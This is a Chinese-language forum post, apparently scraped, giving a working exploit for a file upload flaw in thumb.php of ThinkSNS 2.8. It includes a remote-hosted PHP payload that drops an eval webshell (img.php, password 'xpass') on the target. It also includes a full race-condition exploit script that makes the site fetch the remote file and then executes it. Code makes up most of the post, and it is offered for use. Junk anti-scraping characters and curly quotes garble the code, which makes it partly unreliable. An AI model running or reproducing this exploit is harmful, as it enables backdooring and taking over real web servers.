Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
! C0 _0 t! b6 N1 ~/ m* H存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
8 y4 W6 ~8 ?! d/ \9 Z% d文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
, k' o" K4 G/ n4 x3 q1 R' [5 X这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
' c- m  k# l: y! x0 f6 v$ |& q: a4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
0 C" c4 [: L. `/ [& cExploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
7 |. n1 A8 k$ rset_time_limit(0);
9 ?9 R/ \* ?5 F# Wini_set(“default_socket_timeout”, 5);
% V& n6 Q( N5 \8 Jfunction http_send($host, $port, $headers) {
3 l. c  P" O5 j: ]# l+ [$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
( A5 p% I2 A6 `" N$ G$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
1 {' n; H+ u8 I8 j7 Ffclose($fp);
return $ret;
}
; z5 |" d& Q: E  pprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
) e! R- N7 X: i( hprint “# Discovered by 韦鲲鹏 #\n\n”;
. e  _! a& T* fif ($argc < 4) {
0 {; d( k5 f  V" k/ r8 x/ `! J9 Fprint “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
8 a) `/ i& T  D( @0 K) _, pdie();
}
$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
' b- V) k4 }8 A/ \$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
1 }9 ?  t) N( H. B1 Necho $headers_up;
//临时文件访问数据包
# L3 e5 s" n; ~: q: v& u$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
2 }- b/ p) Z% M: X' E$headers .= “Connection: close\r\n\r\n”;
6 ?* H; j: o: s5 I4 Lecho $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
# u( P  D1 F* z0 Z6 l8 n" Y9 U}
fclose(http_send($host, 80, $headers_up));
8 m' S/ b! W9 Qwhile(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
7 {4 @$ c* T  }' Dif(preg_match(‘/200 OK/’,$res)) {
# |2 q/ m1 Z, C8 {( O/ K6 uprint “Success!\n\n”;
} else {
print “Fail!\n\n”;
. k, h. m( j6 ~& V7 ~% {% F$ `}
?>
5 Q6 l5 x( u! A( r1 J  m, V​